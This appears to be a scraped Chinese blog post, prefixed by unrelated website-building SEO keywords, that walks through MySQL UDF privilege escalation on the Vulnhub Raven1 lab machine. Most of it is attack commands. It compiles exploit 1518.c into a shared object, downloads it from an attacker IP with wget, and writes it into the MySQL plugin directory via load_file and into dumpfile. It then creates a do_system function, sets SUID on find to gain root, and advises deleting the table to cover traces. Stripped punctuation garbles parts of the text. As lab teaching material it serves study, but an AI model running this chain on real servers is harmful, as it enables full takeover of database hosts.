邯郸哪有做网站的公司,佛山做网站3lue,做网站需要基础吗,个人博客网站制作图片1、前言
最近遇到udf提权#xff0c;几经周折终于搞懂了。感觉挺有意思的#xff0c;渗透思路一下子就被打开了。
2、什么是udf提权
udf 全称为user defined function#xff0c;意思是用户自定义函数。用户可以对数据库所使用的函数进行一个扩展#xff08;windows利用…1、前言
最近遇到udf提权几经周折终于搞懂了。感觉挺有意思的渗透思路一下子就被打开了。
2、什么是udf提权
udf 全称为user defined function意思是用户自定义函数。用户可以对数据库所使用的函数进行一个扩展windows利用dll文件linux利用so文件那么我们就可以利用这个特点往MySQL里面添加一个可以执行系统命令的函数即可。
3、提权条件
1获取了MySQL的控制权也就是知道MySQL账号和密码并且能登录上去。
2MySQL具有读写的权限即secure_file_priv的值为空才行。
3MySQL服务以root用户运行如果是以普通用户运行的话那么提权之后的权限也是普通用户的权限。
值得注意的是不同版本的MySQL提权方式略有不同。
MySQL版本大于5.1扩展文件必须放在MySQL安装目录的lib\plugin文件夹下。plugin目录下存放的是扩展文件plugin文件夹默认不存在需要自己创建
mysql版本5.1 需要将扩展文件放在 C:\windows\或C:\windows\system32
4、提权过程
这里我就用Vulnhub靶场的 raven1靶机来演示因为这个靶机刚好可以进行udf提权。这里直接快进到拿到shell了如何getshell就不说了。 输入命令查看MySQL发现是root身份运行的。
ps aux | grep mysql 在/var/www/html/wordpress目录下找到一个wp-config.php估计是配置文件打开发现有mysql的账号和密码直接连接上去即可。
mysql -u root -p 查看是否有读写权限发现值为空符合我们的前提。
show global variables like secure_file_priv; 再查看一下扩展目录在哪里如果没有的话还需自己创建一下网上有说可以使用ntfs数据流创建
后续我实验一下。
show global variables like %plugin%; 通过我们的信息收集发现这个主机是符合我们udf提权的前提的。那么现在我们编译一个.so文件靶机为Linux然后加载到plugin目录下即可。在kali的漏洞库里面有以及写好的c语言脚本的我们直接编译成.so文件即可非常的省事。
searchsploit mysql udf 编译成名为rong.so的文件。
gcc -g -c 1518.c
gcc -g -shared -o rong.so 1518.c 然后下载到靶机的tmp目录下面。
wget http://192.168.145.171/rong.so我们上面说过要把扩展文件放到plugin目录下面才可以但是我们普通用户是没有权限直接把文件移动到plugin下面的。这个时候MySQL的作用就来了我们可以在MySQL上面创建一个表把我们/tmp/rong.so的内容写入到表里面然后再把这个表里面的内容读到plugin目录下面的rong.so文件。这样就实现了tmp目录下的rong.so转移到plugin目录下所以这就是为啥MySQL要具有读写权限。
show databases; 随便选个库都无所谓这里我选mysql然后新建一个表。
use mysql
create table rong(line blob)
把/tmp/rong.so文件内容写入这个新建的表里面load_file函数就是把文件内容写入到表里面。
insert into rong values(load_file(/tmp/rong.so));
再把表里面的内容读到plugin目录的rong.sointo dumpfile函数就是把表里的内容读入文件里面如果没有这个文件就新建一个。
select * from rong into dumpfile /usr/lib/mysql/plugin/rong.so;
在真实的攻击中一般都会把刚刚新建的表删掉(不删也行)清楚痕迹。
drop table rong
现在我们已经成功把自定义扩展函数放到plugin目录下面了接着导入函数。
create function do_system retuns integer soname rong.so
然后我们就可以执行系统命令了不过这里是没回显的要想有回显示还得导入其他.so文件这里就不说了。我们可以个find命令赋予一个suid权限然后再利用find提权即可。
select do_system(chmod us /usr/bin/find);查看一下具有suid权限的命令find命令成功被赋予了权限。
find / -perm -us -type f 2/dev/null 至于find命令如何提权可以参考这篇文章点击我求你了这里不在缀述。
5、总结
udf提权本质就是通过添加自定义函数让MySQL能执行系统命令仅此而已。
最后以上仅为个人的拙见如何有不对的地方欢迎各位师傅指正与补充有兴趣的师傅可以一起交流学习。